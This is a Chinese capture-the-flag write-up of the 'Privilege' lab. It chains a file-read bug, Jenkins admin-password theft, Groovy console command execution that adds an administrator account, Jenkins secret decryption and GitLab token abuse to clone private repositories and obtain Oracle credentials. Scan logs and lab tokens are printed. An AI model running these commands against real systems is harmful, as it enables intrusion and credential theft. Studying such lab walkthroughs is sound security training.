春秋云境-Privilege

flag01

在 80 端口的 wp 下面有个 www.zip。

tools/content-log.php 下面有个文件读取。

权限很高,能直接读到 flag。应该是 xp 起的

flag02

8080 下面有个 jenkins,读取 jenkins 的密码:

1
C:\ProgramData\Jenkins\.jenkins\secrets\initialAdminPassword

510235cf43f14e83b88a9f144199655b

然后 admin:510235cf43f14e83b88a9f144199655b登录。

我记得这里之前打 ciscn 决赛的时候遇到过,当时直接走 pipeline CI 这种格式 rce 的。这里又看了一眼别人的方法,在/manage/script下面用 groovy 的语法实现 RCE:

1
println("whoami".execute().text)

1
2
println("net user natro92 123qwe!@# /add".execute().text)
println("net localgroup administrators natro92 /add".execute().text)

rdp 能直接连接。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
[2025-03-22 14:43:15] [INFO] 暴力破解线程数: 1
[2025-03-22 14:43:15] [INFO] 开始信息扫描
[2025-03-22 14:43:15] [INFO] CIDR范围: 172.22.14.0-172.22.14.255
[2025-03-22 14:43:15] [INFO] 生成IP范围: 172.22.14.0.%!d(string=172.22.14.255) - %!s(MISSING).%!d(MISSING)
[2025-03-22 14:43:15] [INFO] 解析CIDR 172.22.14.7/24 -> IP范围 172.22.14.0-172.22.14.255
[2025-03-22 14:43:18] [INFO] 已排除指定主机: 1
[2025-03-22 14:43:18] [INFO] 最终有效主机数量: 255
[2025-03-22 14:43:18] [INFO] 开始主机扫描
[2025-03-22 14:43:18] [SUCCESS] 目标 172.22.14.11 存活 (ICMP)
[2025-03-22 14:43:18] [SUCCESS] 目标 172.22.14.16 存活 (ICMP)
[2025-03-22 14:43:18] [SUCCESS] 目标 172.22.14.31 存活 (ICMP)
[2025-03-22 14:43:18] [SUCCESS] 目标 172.22.14.46 存活 (ICMP)
[2025-03-22 14:43:21] [INFO] 存活主机数量: 4
[2025-03-22 14:43:21] [INFO] 有效端口数量: 233
[2025-03-22 14:43:21] [SUCCESS] 端口开放 172.22.14.16:22
[2025-03-22 14:43:21] [SUCCESS] 端口开放 172.22.14.11:88
[2025-03-22 14:43:21] [SUCCESS] 端口开放 172.22.14.46:80
[2025-03-22 14:43:21] [SUCCESS] 端口开放 172.22.14.16:80
[2025-03-22 14:43:21] [SUCCESS] 服务识别 172.22.14.16:22 => [ssh] 版本:7.4 产品:OpenSSH 信息:protocol 2.0 Banner:[SSH-2.0-OpenSSH_7.4.]
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.11:445
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.11:389
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.31:139
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.46:139
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.11:139
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.46:135
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.31:135
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.11:135
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.31:445
[2025-03-22 14:43:22] [SUCCESS] 端口开放 172.22.14.46:445
[2025-03-22 14:43:24] [SUCCESS] 端口开放 172.22.14.31:1521
[2025-03-22 14:43:26] [SUCCESS] 服务识别 172.22.14.11:88 =>
[2025-03-22 14:43:26] [SUCCESS] 服务识别 172.22.14.16:80 => [http] 产品:nginx
[2025-03-22 14:43:26] [SUCCESS] 服务识别 172.22.14.46:80 => [http]
[2025-03-22 14:43:27] [SUCCESS] 服务识别 172.22.14.11:445 =>
[2025-03-22 14:43:27] [SUCCESS] 服务识别 172.22.14.31:139 => Banner:[.]
[2025-03-22 14:43:27] [SUCCESS] 服务识别 172.22.14.46:139 => Banner:[.]
[2025-03-22 14:43:27] [SUCCESS] 服务识别 172.22.14.11:139 => Banner:[.]
[2025-03-22 14:43:28] [SUCCESS] 服务识别 172.22.14.31:445 =>
[2025-03-22 14:43:28] [SUCCESS] 服务识别 172.22.14.46:445 =>
[2025-03-22 14:43:29] [SUCCESS] 服务识别 172.22.14.31:1521 =>
[2025-03-22 14:43:29] [SUCCESS] 端口开放 172.22.14.16:8060
[2025-03-22 14:43:32] [SUCCESS] 服务识别 172.22.14.11:389 =>
[2025-03-22 14:43:34] [SUCCESS] 端口开放 172.22.14.16:9094
[2025-03-22 14:43:39] [SUCCESS] 服务识别 172.22.14.16:8060 => [http] 版本:1.20.2 产品:nginx
[2025-03-22 14:43:39] [SUCCESS] 服务识别 172.22.14.16:9094 =>
[2025-03-22 14:44:27] [SUCCESS] 服务识别 172.22.14.46:135 =>
[2025-03-22 14:44:28] [SUCCESS] 服务识别 172.22.14.31:135 =>
[2025-03-22 14:44:28] [SUCCESS] 服务识别 172.22.14.11:135 =>
[2025-03-22 14:44:28] [INFO] 存活端口数量: 17
[2025-03-22 14:44:28] [INFO] 开始漏洞扫描
[2025-03-22 14:44:28] [INFO] 加载的插件: findnet, ldap, ms17010, netbios, oracle, smb, smb2, smbghost, ssh, webpoc, webtitle
[2025-03-22 14:44:28] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.11
主机名: XR-DC
发现的网络接口:
IPv4地址:
└─ 172.22.14.11
[2025-03-22 14:44:28] [SUCCESS] 网站标题 http://172.22.14.46 状态码:200 长度:703 标题:IIS Windows Server
[2025-03-22 14:44:28] [SUCCESS] NetBios 172.22.14.11 DC:XIAORANG\XR-DC
[2025-03-22 14:44:28] [SUCCESS] NetBios 172.22.14.31 WORKGROUP\XR-ORACLE
[2025-03-22 14:44:28] [SUCCESS] NetBios 172.22.14.46 XIAORANG\XR-0923
[2025-03-22 14:44:28] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.31
主机名: XR-ORACLE
发现的网络接口:
IPv4地址:
└─ 172.22.14.31
[2025-03-22 14:44:28] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.14.46
主机名: XR-0923
发现的网络接口:
IPv4地址:
└─ 172.22.14.46
[2025-03-22 14:44:28] [SUCCESS] 网站标题 http://172.22.14.16:8060 状态码:404 长度:555 标题:404 Not Found
[2025-03-22 14:44:28] [SUCCESS] 网站标题 http://172.22.14.16 状态码:302 长度:99 标题:无标题 重定向地址: http://172.22.14.16/users/sign_in
[2025-03-22 14:44:31] [SUCCESS] 网站标题 http://172.22.14.16/users/sign_in 状态码:200 长度:34961 标题:Sign in · GitLab
[2025-03-22 14:44:53] [SUCCESS] 扫描已完成: 31/31
1
2
3
4
5
6
172.22.14.7 system

172.22.14.11 XR-DC 域控
172.22.14.16 GitLab
172.22.14.31 XR-ORACLE
172.22.14.46 XR-0923

说是 jenkins 配置了 gitlab,找 gitlab api token 利用。

卧槽这他妈不就是去年国赛的题吗,我日原来他们早就打过是吧。

{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}

解密:

1
println(hudson.util.Secret.fromString("{AQAAABAAAAAg9+7GBocqYmo0y3H+uDK9iPsvst95F5i3QO3zafrm2TC5U24QCq0zm/GEobmrmLYh}").getPlainText())

glpat-7kD_qLH2PiQv_ywB9hz2

然后用 api 获取 gitlab 的 git 仓库。

1
curl --header "PRIVATE-TOKEN:glpat-7kD_qLH2PiQv_ywB9hz2" "http://172.22.14.16/api/v4/projects"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
[
{
"id": 6,
"description": null,
"name": "Internal Secret",
"name_with_namespace": "XRLAB / Internal Secret",
"path": "internal-secret",
"path_with_namespace": "xrlab/internal-secret",
"created_at": "2022-12-25T08:30:12.362Z",
"default_branch": "main",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/internal-secret.git",
"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/internal-secret.git",
"web_url": "http://gitlab.xiaorang.lab/xrlab/internal-secret",
"readme_url": null,
"avatar_url": null,
"forks_count": 0,
"star_count": 0,
"last_activity_at": "2022-12-25T08:30:12.362Z",
"namespace": {
"id": 8,
"name": "XRLAB",
"path": "xrlab",
"kind": "group",
"full_path": "xrlab",
"parent_id": null,
"avatar_url": null,
"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
},
"_links": {
"self": "http://gitlab.xiaorang.lab/api/v4/projects/6",
"issues": "http://gitlab.xiaorang.lab/api/v4/projects/6/issues",
"merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/6/merge_requests",
"repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/6/repository/branches",
"labels": "http://gitlab.xiaorang.lab/api/v4/projects/6/labels",
"events": "http://gitlab.xiaorang.lab/api/v4/projects/6/events",
"members": "http://gitlab.xiaorang.lab/api/v4/projects/6/members",
"cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/6/cluster_agents"
},
"packages_enabled": true,
"empty_repo": false,
"archived": false,
"visibility": "private",
"resolve_outdated_diff_discussions": false,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2022-12-26T08:30:12.373Z"
},
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": true,
"jobs_enabled": true,
"snippets_enabled": true,
"container_registry_enabled": true,
"service_desk_enabled": false,
"service_desk_address": null,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "private",
"operations_access_level": "enabled",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"emails_disabled": null,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 2,
"import_url": null,
"import_type": null,
"import_status": "none",
"open_issues_count": 0,
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_opt_in_jwt": false,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"public_jobs": true,
"build_timeout": 3600,
"auto_cancel_pending_pipelines": "enabled",
"ci_config_path": null,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"restrict_user_defined_variables": false,
"request_access_enabled": true,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"autoclose_referenced_issues": true,
"keep_latest_artifact": true,
"runner_token_expiration_interval": null,
"permissions": {
"project_access": null,
"group_access": { "access_level": 50, "notification_level": 3 }
}
},
{
"id": 4,
"description": null,
"name": "XRAdmin",
"name_with_namespace": "XRLAB / XRAdmin",
"path": "xradmin",
"path_with_namespace": "xrlab/xradmin",
"created_at": "2022-12-25T07:48:16.751Z",
"default_branch": "main",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/xradmin.git",
"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xradmin.git",
"web_url": "http://gitlab.xiaorang.lab/xrlab/xradmin",
"readme_url": "http://gitlab.xiaorang.lab/xrlab/xradmin/-/blob/main/README.md",
"avatar_url": null,
"forks_count": 0,
"star_count": 0,
"last_activity_at": "2023-05-30T10:27:31.762Z",
"namespace": {
"id": 8,
"name": "XRLAB",
"path": "xrlab",
"kind": "group",
"full_path": "xrlab",
"parent_id": null,
"avatar_url": null,
"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
},
"_links": {
"self": "http://gitlab.xiaorang.lab/api/v4/projects/4",
"issues": "http://gitlab.xiaorang.lab/api/v4/projects/4/issues",
"merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/4/merge_requests",
"repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/4/repository/branches",
"labels": "http://gitlab.xiaorang.lab/api/v4/projects/4/labels",
"events": "http://gitlab.xiaorang.lab/api/v4/projects/4/events",
"members": "http://gitlab.xiaorang.lab/api/v4/projects/4/members",
"cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/4/cluster_agents"
},
"packages_enabled": true,
"empty_repo": false,
"archived": false,
"visibility": "private",
"resolve_outdated_diff_discussions": false,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2022-12-26T07:48:16.788Z"
},
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": true,
"jobs_enabled": true,
"snippets_enabled": true,
"container_registry_enabled": true,
"service_desk_enabled": false,
"service_desk_address": null,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "private",
"operations_access_level": "enabled",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"emails_disabled": null,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 2,
"import_url": null,
"import_type": null,
"import_status": "none",
"open_issues_count": 0,
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_opt_in_jwt": false,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"public_jobs": true,
"build_timeout": 3600,
"auto_cancel_pending_pipelines": "enabled",
"ci_config_path": null,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"restrict_user_defined_variables": false,
"request_access_enabled": true,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"auto_devops_enabled": false,
"auto_devops_deploy_strategy": "continuous",
"autoclose_referenced_issues": true,
"keep_latest_artifact": true,
"runner_token_expiration_interval": null,
"permissions": {
"project_access": null,
"group_access": { "access_level": 50, "notification_level": 3 }
}
},
{
"id": 3,
"description": null,
"name": "Awenode",
"name_with_namespace": "XRLAB / Awenode",
"path": "awenode",
"path_with_namespace": "xrlab/awenode",
"created_at": "2022-12-25T07:46:43.635Z",
"default_branch": "master",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/awenode.git",
"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/awenode.git",
"web_url": "http://gitlab.xiaorang.lab/xrlab/awenode",
"readme_url": "http://gitlab.xiaorang.lab/xrlab/awenode/-/blob/master/README.md",
"avatar_url": null,
"forks_count": 0,
"star_count": 0,
"last_activity_at": "2022-12-25T07:46:43.635Z",
"namespace": {
"id": 8,
"name": "XRLAB",
"path": "xrlab",
"kind": "group",
"full_path": "xrlab",
"parent_id": null,
"avatar_url": null,
"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
},
"_links": {
"self": "http://gitlab.xiaorang.lab/api/v4/projects/3",
"issues": "http://gitlab.xiaorang.lab/api/v4/projects/3/issues",
"merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/3/merge_requests",
"repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/3/repository/branches",
"labels": "http://gitlab.xiaorang.lab/api/v4/projects/3/labels",
"events": "http://gitlab.xiaorang.lab/api/v4/projects/3/events",
"members": "http://gitlab.xiaorang.lab/api/v4/projects/3/members",
"cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/3/cluster_agents"
},
"packages_enabled": true,
"empty_repo": false,
"archived": false,
"visibility": "private",
"resolve_outdated_diff_discussions": false,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2022-12-26T07:46:44.614Z"
},
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": true,
"jobs_enabled": true,
"snippets_enabled": true,
"container_registry_enabled": true,
"service_desk_enabled": false,
"service_desk_address": null,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "private",
"operations_access_level": "enabled",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"emails_disabled": null,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 2,
"import_url": null,
"import_type": "gitlab_project",
"import_status": "finished",
"open_issues_count": 0,
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_opt_in_jwt": false,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"public_jobs": true,
"build_timeout": 3600,
"auto_cancel_pending_pipelines": "enabled",
"ci_config_path": null,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"restrict_user_defined_variables": false,
"request_access_enabled": true,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"autoclose_referenced_issues": true,
"keep_latest_artifact": true,
"runner_token_expiration_interval": null,
"permissions": {
"project_access": { "access_level": 40, "notification_level": null },
"group_access": { "access_level": 50, "notification_level": 3 }
}
},
{
"id": 2,
"description": "Example GitBook site using GitLab Pages: https://pages.gitlab.io/gitbook",
"name": "XRWiki",
"name_with_namespace": "XRLAB / XRWiki",
"path": "xrwiki",
"path_with_namespace": "xrlab/xrwiki",
"created_at": "2022-12-25T07:44:18.589Z",
"default_branch": "master",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@gitlab.xiaorang.lab:xrlab/xrwiki.git",
"http_url_to_repo": "http://gitlab.xiaorang.lab/xrlab/xrwiki.git",
"web_url": "http://gitlab.xiaorang.lab/xrlab/xrwiki",
"readme_url": "http://gitlab.xiaorang.lab/xrlab/xrwiki/-/blob/master/README.md",
"avatar_url": "http://gitlab.xiaorang.lab/uploads/-/system/project/avatar/2/gitbook.png",
"forks_count": 0,
"star_count": 0,
"last_activity_at": "2022-12-25T07:44:18.589Z",
"namespace": {
"id": 8,
"name": "XRLAB",
"path": "xrlab",
"kind": "group",
"full_path": "xrlab",
"parent_id": null,
"avatar_url": null,
"web_url": "http://gitlab.xiaorang.lab/groups/xrlab"
},
"_links": {
"self": "http://gitlab.xiaorang.lab/api/v4/projects/2",
"issues": "http://gitlab.xiaorang.lab/api/v4/projects/2/issues",
"merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/2/merge_requests",
"repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/2/repository/branches",
"labels": "http://gitlab.xiaorang.lab/api/v4/projects/2/labels",
"events": "http://gitlab.xiaorang.lab/api/v4/projects/2/events",
"members": "http://gitlab.xiaorang.lab/api/v4/projects/2/members",
"cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/2/cluster_agents"
},
"packages_enabled": true,
"empty_repo": false,
"archived": false,
"visibility": "private",
"resolve_outdated_diff_discussions": null,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2022-12-26T07:44:18.627Z"
},
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": false,
"jobs_enabled": true,
"snippets_enabled": false,
"container_registry_enabled": false,
"service_desk_enabled": false,
"service_desk_address": null,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "disabled",
"builds_access_level": "enabled",
"snippets_access_level": "disabled",
"pages_access_level": "public",
"operations_access_level": "enabled",
"analytics_access_level": "enabled",
"container_registry_access_level": "disabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"emails_disabled": null,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 2,
"import_url": null,
"import_type": "gitlab_project",
"import_status": "finished",
"open_issues_count": 0,
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_opt_in_jwt": false,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"public_jobs": true,
"build_timeout": 3600,
"auto_cancel_pending_pipelines": "enabled",
"ci_config_path": null,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"restrict_user_defined_variables": false,
"request_access_enabled": false,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"autoclose_referenced_issues": true,
"keep_latest_artifact": true,
"runner_token_expiration_interval": null,
"permissions": {
"project_access": { "access_level": 40, "notification_level": null },
"group_access": { "access_level": 50, "notification_level": 3 }
}
},
{
"id": 1,
"description": "This project is automatically generated and helps monitor this GitLab instance. [Learn more](/help/administration/monitoring/gitlab_self_monitoring_project/index).",
"name": "Monitoring",
"name_with_namespace": "GitLab Instance / Monitoring",
"path": "Monitoring",
"path_with_namespace": "gitlab-instance-23352f48/Monitoring",
"created_at": "2022-12-25T07:18:20.914Z",
"default_branch": "main",
"tag_list": [],
"topics": [],
"ssh_url_to_repo": "git@gitlab.xiaorang.lab:gitlab-instance-23352f48/Monitoring.git",
"http_url_to_repo": "http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring.git",
"web_url": "http://gitlab.xiaorang.lab/gitlab-instance-23352f48/Monitoring",
"readme_url": null,
"avatar_url": null,
"forks_count": 0,
"star_count": 0,
"last_activity_at": "2022-12-25T07:18:20.914Z",
"namespace": {
"id": 2,
"name": "GitLab Instance",
"path": "gitlab-instance-23352f48",
"kind": "group",
"full_path": "gitlab-instance-23352f48",
"parent_id": null,
"avatar_url": null,
"web_url": "http://gitlab.xiaorang.lab/groups/gitlab-instance-23352f48"
},
"_links": {
"self": "http://gitlab.xiaorang.lab/api/v4/projects/1",
"issues": "http://gitlab.xiaorang.lab/api/v4/projects/1/issues",
"merge_requests": "http://gitlab.xiaorang.lab/api/v4/projects/1/merge_requests",
"repo_branches": "http://gitlab.xiaorang.lab/api/v4/projects/1/repository/branches",
"labels": "http://gitlab.xiaorang.lab/api/v4/projects/1/labels",
"events": "http://gitlab.xiaorang.lab/api/v4/projects/1/events",
"members": "http://gitlab.xiaorang.lab/api/v4/projects/1/members",
"cluster_agents": "http://gitlab.xiaorang.lab/api/v4/projects/1/cluster_agents"
},
"packages_enabled": true,
"empty_repo": true,
"archived": false,
"visibility": "internal",
"resolve_outdated_diff_discussions": false,
"container_expiration_policy": {
"cadence": "1d",
"enabled": false,
"keep_n": 10,
"older_than": "90d",
"name_regex": ".*",
"name_regex_keep": null,
"next_run_at": "2022-12-26T07:18:21.108Z"
},
"issues_enabled": true,
"merge_requests_enabled": true,
"wiki_enabled": true,
"jobs_enabled": true,
"snippets_enabled": true,
"container_registry_enabled": true,
"service_desk_enabled": false,
"can_create_merge_request_in": true,
"issues_access_level": "enabled",
"repository_access_level": "enabled",
"merge_requests_access_level": "enabled",
"forking_access_level": "enabled",
"wiki_access_level": "enabled",
"builds_access_level": "enabled",
"snippets_access_level": "enabled",
"pages_access_level": "private",
"operations_access_level": "enabled",
"analytics_access_level": "enabled",
"container_registry_access_level": "enabled",
"security_and_compliance_access_level": "private",
"releases_access_level": "enabled",
"environments_access_level": "enabled",
"feature_flags_access_level": "enabled",
"infrastructure_access_level": "enabled",
"monitor_access_level": "enabled",
"emails_disabled": null,
"shared_runners_enabled": true,
"lfs_enabled": true,
"creator_id": 1,
"import_status": "none",
"open_issues_count": 0,
"ci_default_git_depth": 20,
"ci_forward_deployment_enabled": true,
"ci_job_token_scope_enabled": false,
"ci_separated_caches": true,
"ci_opt_in_jwt": false,
"ci_allow_fork_pipelines_to_run_in_parent_project": true,
"public_jobs": true,
"build_timeout": 3600,
"auto_cancel_pending_pipelines": "enabled",
"ci_config_path": null,
"shared_with_groups": [],
"only_allow_merge_if_pipeline_succeeds": false,
"allow_merge_on_skipped_pipeline": null,
"restrict_user_defined_variables": false,
"request_access_enabled": true,
"only_allow_merge_if_all_discussions_are_resolved": false,
"remove_source_branch_after_merge": true,
"printing_merge_request_link_enabled": true,
"merge_method": "merge",
"squash_option": "default_off",
"enforce_auth_checks_on_uploads": true,
"suggestion_commit_message": null,
"merge_commit_template": null,
"squash_commit_template": null,
"issue_branch_template": null,
"auto_devops_enabled": true,
"auto_devops_deploy_strategy": "continuous",
"autoclose_referenced_issues": true,
"keep_latest_artifact": true,
"runner_token_expiration_interval": null,
"permissions": { "project_access": null, "group_access": null }
}
]

clone 下来几个仓库

1
2
3
git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/internal-secret.git
git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xradmin.git
git clone http://gitlab.xiaorang.lab:glpat-7kD_qLH2PiQv_ywB9hz2@172.22.14.16/xrlab/xrwiki.git

\xradmin\ruoyi-admin\src\main\resources\application-druid.yml文件中有数据库参数文件:

xradmin:fcMyE8t9E4XdsKf

连接报错:

Oracle ORA-28547:connection to server failed,probable Oracle Net admin error 问题解决-CSDN 博客

这里看别人 wp 直接用 odat 这个工具直接执行命令。

1
2
